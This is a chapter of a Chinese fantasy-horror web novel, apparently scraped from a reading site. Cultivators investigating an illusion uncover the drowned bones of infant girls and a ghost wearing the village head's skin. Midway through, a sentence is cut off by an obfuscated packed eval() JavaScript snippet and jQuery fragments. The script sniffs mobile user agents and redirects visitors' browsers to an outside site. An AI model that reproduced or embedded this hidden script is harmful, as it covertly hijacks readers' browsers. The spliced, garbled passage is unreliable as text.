19. 嗔(八)

作品:《成为前任的情劫

    三人一猫刚好向四方散开。


    余霏向南走了没半炷香的功夫,就见一双锦靴踱至跟前。


    “余半仙,好巧。”


    余霏一抛一接着铜钱,看也没看祝灵轩:


    “你方才不是往北边去的吗?这是有多巧,能让咱们面对面撞上。”


    祝灵轩尴尬地摸了摸鼻尖:“那边没什么痕迹,你这有吗?”


    “有啊。”


    余霏煞有其事地点头。


    “在哪里?”


    祝灵轩低头四下去看。


    余霏攥着铜钱的手伸出一根食指,几乎要戳上祝灵轩的鼻尖:


    “你的表演痕迹。”


    祝灵轩嗅着那一丝若有若无的铜板味,心脏忽然将胸口撞得发疼。


    他破罐破摔、明媚地笑起来:


    “别拿我寻开心了,余半仙。我过来时看到你在布阵了,我帮你摆阵眼吧。”


    “也好。”


    余霏收回食指。


    祝灵轩就像让人卸了枷板似地,动作都迅捷舒展起来。


    他扫了眼余霏摆好的半副地阵,随手拾起一块石头就继续摆下去,边摆边止不住地念叨:


    “余半仙这是天罗地网啊,但凡‘她’今晚再踏足此处,定能给‘她’来个瓮中捉鳖。”


    他一面说一面也没耽误干活,靴尖碾转几遭就走出了大阵的轮廓。


    “齐活!”


    他拍拍手,掌心顺便聚起灵力,打算启阵。


    “诶?”


    他手中的光团坚持几秒就熄了火。


    “那怎么少了一块压阵石?”


    他扬起下颌向对角处望去。


    他明明记得他第一块放的就是那里啊。


    余霏倚在树上排算铜钱,压根没理他。他只好自己走过去,把阵石补全。


    然后一抬头,就发现来路上的阵眼又没了石头。


    有贼!


    祝灵轩果断向来路打出一道灵力,灵力入地,“砰”地一响。


    一个一身烂泥的小男孩从白光中跌了出来。


    祝灵轩并指瞬移上前,吓得小男孩“哇”地大喊。


    余霏抬起眼。


    小男孩被祝灵轩抓着手腕,眼泪一下就落:“我们这根本就没有什么妖鬼,求求你们不要布阵——”


    祝灵轩提溜着这睁眼说瞎话的小孩:“还没有什么妖鬼,你们这鬼地方每天都少那么多人。”


    他故意吓小孩玩似地,扮出个阴森的笑。


    “当心今晚窗子关得不严,‘她’爬进来把你抓走哦……”


    “快让‘她’把我抓走吧。”


    小孩根本不听他吓唬,手腕狠狠一挣,甩开祝灵轩。


    “我求之不得。”


    祝灵轩“嘿”了一声,正要说句“你这小孩”,但听小孩的语气并不像是在说气话,似乎真的很想被抓走一般,心道奇怪。


    余霏走过来,小孩吸了下鼻子,踉踉跄跄地向她爬去:


    “不要布阵了,好不好……”


    “好。”


    余霏干脆答应,蹲身抚上小孩的头。


    “不过,为什么?”


    “因为‘她’是——”


    小孩的话被“嗖”地一声鞭响打断。


    余霏看着小孩,手就抬起,精准抓住抽来的鞭尾。


    小孩已经熟练地卧倒在地,整个人抱作一团。


    “他妈的,我说怎么到处都找不到你这个小崽子,原来是在这里躲闲!”


    锦衣持鞭的领班大步冲上来,拉起小孩的上半身,一鞭子就要往小孩背上打去。


    “住手。”


    祝灵轩断喝。


    领班抬头瞪他一眼:“老子打儿子,管你什么事!”


    小孩趁机抓住余霏的袍角:“我不是……唔。”


    领班一把捂住他的口鼻,掐着他的后颈,将人往矿坑处拖去。


    “别跑。”


    祝灵轩下意识一步迈出去,靴尖却如踩入一池浓墨般地,浸没不见。


    与此同时,墨色自他踩下的地方向四周蔓延开来,只眨眼的功夫,白昼便换作了暗夜。


    “天怎么突然黑了!”


    常淡泊没了安全感,迅速向二人贴来。


    “又是那蜃妖搞的鬼?”


    “是。”


    祝灵轩咬着牙,愤愤地甩了下攥紧的拳。


    小黑猫从树丛里跳出来,发现余霏依然垂着眼,目光落在衣摆上,在那里,有个小小的未干的泥手印。


    “喵。”


    余霏被这一声叫回了神。


    “有什么发现么?”


    她问小猫,却被常淡泊抢答。


    “我!我有发现!”


    他激动地举起手。


    “我那边有条河,我沿着河道一路往下游去,就在那尽头处发现了一堆破碎白骨!兴许,那就是‘她’每晚行动的目的地了!”


    余霏当即抬眼:“去看看。”


    三人一猫踏夜潜行,常淡泊生怕这山里钻出个什么他们无力招架的东西似地,引路引得飞快。


    余霏紧跟他来到河流尽头,祝灵轩不紧不慢地缀在后首,为他们守好背后。


    远远地,他往河道中间看了一眼,就“啧”了一声:


    “找错了,这不会是‘她’的目的地的。这碎骨,都陈年包浆了。”


    “啊。”


    常淡泊有些不好意思。


    “可是……”


    可是,在很久很久以前,在“她”还未化鬼屠村的年代,这村里是发生了什么,竟会如此积骨成山?


    余霏半跪在岸上,将手浸泡入刺骨的河水里,一一摸索那些碎骨。


    碎骨很干净,穿梭濯洗其间的水流清澈透明。


    “都是些新生的女婴。”


    她沉沉地说。


    祝灵轩和常淡泊闻声回头,默了一阵,似乎明白了是怎么回事。


    部分凡夫俗子重男轻女的事,他们曾有耳闻。只是没有亲眼所见之前,他们断断想象不到人性竟有如此之残忍!


    “真该死啊。”


    常淡泊气到忘记了害怕。


    “不知‘她’沿街索命之时,他们是否也会想起这些被他们溺死的女婴。”


    “怪不得他们村里多是外来女子呢,他们根本就不容许自己的女孩子长大。”


    祝灵轩说着,忽然意识到不对。


    “不过,既然这村中对女子如此残酷,换作是你,你会愿意远嫁到此吗?即使是山中填满了黄金?”


    “自是不愿。”


    常淡泊应着,不由自主地打了个寒颤。


    他想起绣艺精湛的村长夫人,想起文质彬彬的“她”……


    那么,这么多美好的女子,到底是怎么出现在长乐村的?


    男人们挂在嘴边的“凤尾鱼”“金龙鱼”,会是真的鱼么……


    沉默间,余霏已将小山似的旧骨好生收殓。


    祝灵轩难得安静地帮她培土,替她竖碑。


    明明是幻境,明明是现实中改变不了的历史,明明是面对早已魂归后土的蜉蝣,余霏和祝灵轩都很难轻轻揭过。


    “她们此生太苦,会有个幸福的转世的。”


    祝灵轩对余霏说。


    从这里出去,他就要找阎罗殿主讨个公道。


    “嗯。”


    余霏深吸一口气。


    “我看,这长乐村根本就没有什么将人骗去给野兽吃的伥鬼。”


    除了溺死的女婴,以命换金的少年,化鬼的女子之外,再没有其他受害者的痕迹。


    “可是,那些失踪的人去哪里了?”


    常淡泊弱弱发问。


    余霏转头看去,并没有应声。


    每当他们靠近真相,蜃妖就会出手打断。


    还好。


    她摩挲着指尖的铜钱。


    她已经弄清这里发生的一切了。


    .


    “大师,我们为什么不去西山凉亭了?”


    常淡泊被余霏和祝灵轩一边一个架着,沿回村的路上去。


    “去了也不会有人的。”


    余霏便走便捻着掌心里的铜钱。


    “我算了。”


    “哦。”


    作为下了单的金主,常淡泊对余霏的卦艺深信不疑。


    “贤侄,你有没有听到女子的哭声啊?”


    凉夜彻骨,空荡长街上的月色无比幽寂,哭声被风吹拂得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15874648|175269||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    断断续续。


    “听到了。”


    祝灵轩满不在乎地说。


    “我们还正往哭声处去呢。”


    常淡泊:……


    行。


    他摸爬滚打了一路,都对这破地方免疫了。


    然而,哭声却在逐渐清晰中戛然而止。


    领路的余霏也随之停下。


    “跟丢了?”


    常淡泊探出头。


    祝灵轩无语:“到了。”


    他话音刚落,就见余霏继续向左方岔路口走了几步,没入深巷,又穿出来。


    她站在一户门前,轻轻敲了敲。


    “张村长,是我。”


    常淡泊好像不认识了似地,退后几步,仔细看了两遭,才确认这的确就是张村长家。


    张村长刚刚将门拉开一条缝,祝灵轩就大剌剌地迎了上去:


    “张村长,你刚刚有没有听到一阵哭声啊?”


    张村长看到当真是他们几个,着实松了口气:


    “自打赵氏作鬼以来,这街上大半夜一会儿哭一会儿笑的,我们都不当稀罕事了。”


    他一面说,一面将几人往屋里请。


    “女仙师的纸符确实有用,我自己在屋里坐着,心里都踏实些。”


    他将几人让到桌旁就坐,人继续往内间走。


    “我叫内人给大家煮茶,稍坐,稍坐。”


    余霏向他点了下头,目光划过他的背影,落在他挽起的袖口上。


    张村长明明完全背对着长桌,却若有所觉地,放下了衣袖。


    余霏自然转开眼。


    “大师。”


    常淡泊很不安地,压低嗓子问。


    “是这张村长有什么不对劲吗?”


    “没有。”


    余霏笑笑。


    “我就是走累了,找认识人讨口水喝。”


    “哦。”


    常淡泊当然是很愿意歇歇脚的,他循桌摸去,摸来余霏派发出去的纸符。


    “大师,你们打卦的,还会画符啊?”


    余霏很坦然:“当然不会了,我这不是都用铜板印上去的吗?”


    “你要小心她。”


    祝灵轩似是听不下去好言相劝,又似是同余霏一伙的。


    “她一句实话都没有。”


    还没等常淡泊反应过来余霏的谎话,张村长就提着一只滚烫的铜壶从内间转出来:


    “久等了各位。”


    三人一猫当即结束目光交流,齐齐转向张村长。


    张村长用青釉瓷杯为他们看茶,氤氲雾气升起遮住他的眉眼:“天气越来越凉了,仙师们暖暖身子。”


    祝灵轩抬手,阻住他推来的茶杯:“我在山里泉水喝多了,喝不下,还要借村长家的方便处一用。”


    张村长“啊”了一声,放下茶壶,向房后一指:“我带你去。”


    “不必,就几步路,我找得到。”


    祝灵轩起身,拍上常淡泊的肩。


    “师叔不也憋得很吗?咱俩搭个伴。”


    常淡泊:?


    没给他发问的机会,祝灵轩强行和他勾肩搭背着往房后走。


    余霏呷了口茶,望着对面落座的张村长,没话找话般地开口:


    “张村长,我这纸符是张护身符,得带在身上才有用。”


    “诶。”


    张村长很听话地将纸符塞进衣袖里。


    “大家原是都贴身放着的,只是方才要看茶,我怕弄湿了它,这才掏出来。”


    余霏一直瞧着那纸符放好,才转开眼:


    “没关系,这东西我有很多,坏了再找我要就是。”


    张村长两手叠在一起,正要说句什么,就听侧屋里传来一声惨叫。


    是常淡泊的声音。


    “这怎么会有张村长的人皮?!”


    阴风忽来,残烛揺影。


    余霏放下茶杯,只见对面的“张村长”压低眉头,向着她诡笑。


    人皮前的常淡泊这才想明白,余霏方才同他说的谎话,都是为了降低那只张村长模样的鬼的戒心。


    而祝灵轩将他拐出来,是为了让余霏大展拳脚。


    他们两个,一定有了万全的计划。